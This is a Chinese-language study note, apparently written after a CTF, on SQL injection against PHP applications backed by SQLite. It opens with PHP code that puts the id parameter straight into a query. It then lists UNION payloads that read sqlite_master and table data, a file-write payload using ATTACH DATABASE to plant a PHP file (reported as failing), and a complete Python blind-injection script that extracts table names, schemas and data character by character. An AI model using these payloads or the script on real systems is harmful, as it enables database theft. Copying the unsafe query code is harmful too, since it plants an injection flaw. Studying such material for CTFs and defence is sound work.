前言
之前比赛被sqlite注入坑了,网上能找到的资料比较少,不过已经足够了,在此做一下笔记。
PHP使用SQLITE
- 连接数据库
PHP中自带处理sqlite的类,要使用直接继承SQLite3类然后重写构造方法__construct()
指定db文件
class MyDB extends SQLite3
{
function __construct()
{
$this->open('test.db');
}
}
实例化类,判断是否连接成功
$db = new MyDB();
if(!$db){
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n";
}
- 执行SQL语句,以查询为例,其他与mysql无异。
$sql =<<<EOF
SELECT * from hex where id = '$id';
EOF;
$result = $db->query($sql);
$data = $result->fetchArray(SQLITE3_ASSOC);
echo $data['hex'];
SQLITE的注入
UNION联合注入
- sqlite3和mysql5.5以后一样存在一个表记录了数据库和表的信息。
- 可以看到记录了表名,表结构,那么我们就可以直接通过这个隐藏表来查询sqlite数据库里面的表名。
http://127.0.0.1/?id=-1' union select 1,(select group_concat(name)from sqlite_master)--+
- 查看表结构
http://127.0.0.1/?id=-1' union select 1,(select group_concat(sql)from sqlite_master where name='flag')--+
- 查看数据
http://127.0.0.1/?id=-1' union select 1,(select group_concat(flag)from flag where id='1')--+
- 写文件(实验失败)
http://127.0.0.1/?id=1';ATTACH DATABASE 'E:\\phpStudy\\PHPTutorial\\WWW\\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --
盲注
bool盲注:
- 检测表的个数
' and (select COUNT(name) from sqlite_master where type='table')=表的个数
payload解释
COUNT()检测表的个数,用于爆破表个数
自动检测脚本编写
def tables_count(self):
for i in range(1,255):
payload = self.url + "' and (select COUNT(name) from sqlite_master where type='table')=%d --+"%(i)
result = self.r.get(payload)
if result.text == self.contents:
print('Tables count is %d'%(i))
- 检测表名长度
' and (select LENGTH(name) from sqlite_master where type='table' limit 第几个表名,1)=长度 --+
payload解释
LENGTH()用于检测字符串长度,limit限定第一条数据以爆破字符长度
自动检测脚本demo
def table_name_len(self,count):
for j in range(0,count):
for i in range(1,255):
payload = self.url + "' and (select LENGTH(name) from sqlite_master where type='table' limit %d,1)=%d --+"%(j,i)
result = self.r.get(payload)
if result.text == self.contents:
print('Tables(%d) name length is %d'%(j,i))
- 爆表名
?id=1' and substr((select name from sqlite_master where type='table' limit 0,1),1,1)='f' --+
或者
?id=1' and substr((select name from sqlite_master where type='table' limit 0,1),1,1) like 'a' --+
- payload解释
substr((payload),第几位,步长)
例如:
substr((payload),1,1)='f' --判断第一位字符是不是f
- 自动脚本编写
def table_name(self,count,num):
tablename = ''
for j in range(count):
for i in range(40,125):
payload = self.url + "'and substr((select name from sqlite_master where type='table' limit %d,1),%d,1)='%s' --+"%(num,j,str(chr(i)))
result=self.r.get(payload)
if result.text == self.contents:
tablename = tablename +str(chr(i))
self.table_structure(tablename)
print('Tables (%d) name is %s'%(num,tablename))
爆表结构
爆表结构也就是爆sqlite_master的sql字段,与爆表名类似
自动脚本编写
def table_structure(self,tablename): tablecolums = '' for i in range(1,255): payload = self.url + "' and (select LENGTH(sql) from sqlite_master where name='%s' )=%d --+"%(tablename,i) result = self.r.get(payload) if result.text == self.contents: len_sql=i for j in range(len_sql+1): for i in range(40,125): payload = self.url + "'and substr((select sql from sqlite_master where name='%s'),%d,1)='%s' --+"%(tablename,j,str(chr(i))) result=self.r.get(payload) if result.text == self.contents: tablecolums = tablecolums +str(chr(i)) print(tablecolums)
爆数据
爆数据也就是得知表结构之后,直接爆破对应的表名和表字段。
def get_data(self,colums,table):
data=''
for i in range(1,255):
payload = self.url + "' and (select LENGTH(group_concat(%s)) from %s )=%d --+"%(colums,table,i)
result = self.r.get(payload)
if result.text == self.contents:
len_data=i
sys.stdout.write('\r'+'[*]Payload:'+payload)
sys.stdout.flush()
for j in range(len_data+1):
for i in range(40,125):
payload = self.url + "'and substr((select group_concat(%s) from %s),%d,1)='%s' --+"%(colums,table,j,str(chr(i)))
result = self.r.get(payload)
if result.text == self.contents:
data = data +str(chr(i))
sys.stdout.write('\r'+self.OKGREEN+'[*]Payload:'+payload)
else:
sys.stdout.write('\r'+self.FAIL+'[*]Payload:'+payload)
sys.stdout.flush()
print('\n'+self.OKGREEN+'Data: '+data)
- 整合脚本:
import requests
import sys
class sqlite3inject:
r =''
contents =''
url =''
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
def __init__(self,url):
self.url = url
self.r = requests.session()
self.contents = (self.r.get(self.url)).text
def get_data(self,colums,table):
data=''
for i in range(1,255):
payload = self.url + "' and (select LENGTH(group_concat(%s)) from %s )=%d --+"%(colums,table,i)
result = self.r.get(payload)
if result.text == self.contents:
len_data=i
sys.stdout.write('\r'+'[*]Payload:'+payload)
sys.stdout.flush()
for j in range(len_data+1):
for i in range(40,125):
payload = self.url + "'and substr((select group_concat(%s) from %s),%d,1)='%s' --+"%(colums,table,j,str(chr(i)))
result = self.r.get(payload)
if result.text == self.contents:
data = data +str(chr(i))
sys.stdout.write('\r'+self.OKGREEN+'[*]Payload:'+payload)
else:
sys.stdout.write('\r'+self.FAIL+'[*]Payload:'+payload)
sys.stdout.flush()
print('\n'+self.OKGREEN+'Data: '+data)
def table_structure(self,tablename):
tablecolums = ''
for i in range(1,255):
payload = self.url + "' and (select LENGTH(sql) from sqlite_master where name='%s' )=%d --+"%(tablename,i)
result = self.r.get(payload)
if result.text == self.contents:
len_sql=i
for j in range(len_sql+1):
for i in range(40,125):
payload = self.url + "'and substr((select sql from sqlite_master where name='%s'),%d,1)='%s' --+"%(tablename,j,str(chr(i)))
result=self.r.get(payload)
if result.text == self.contents:
tablecolums = tablecolums +str(chr(i))
print(tablecolums)
def table_name(self,count,num):
tablename = ''
for j in range(count):
for i in range(40,125):
payload = self.url + "'and substr((select name from sqlite_master where type='table' limit %d,1),%d,1)='%s' --+"%(num,j,str(chr(i)))
result=self.r.get(payload)
if result.text == self.contents:
tablename = tablename +str(chr(i))
self.table_structure(tablename)
print('Tables (%d) name is %s'%(num,tablename))
def table_name_len(self,count):
for j in range(0,count):
for i in range(1,255):
payload = self.url + "' and (select LENGTH(name) from sqlite_master where type='table' limit %d,1)=%d --+"%(j,i)
result = self.r.get(payload)
if result.text == self.contents:
print('Tables(%d) name length is %d'%(j,i))
self.table_name(i+1,j)
def tables_count(self):
for i in range(1,255):
payload = self.url + "' and (select COUNT(name) from sqlite_master where type='table')=%d --+"%(i)
result = self.r.get(payload)
if result.text == self.contents:
print('Tables count is %d'%(i))
return self.table_name_len(i)
inject = sqlite3inject('http://127.0.0.1/?id=1')
inject.tables_count()
- 测试效果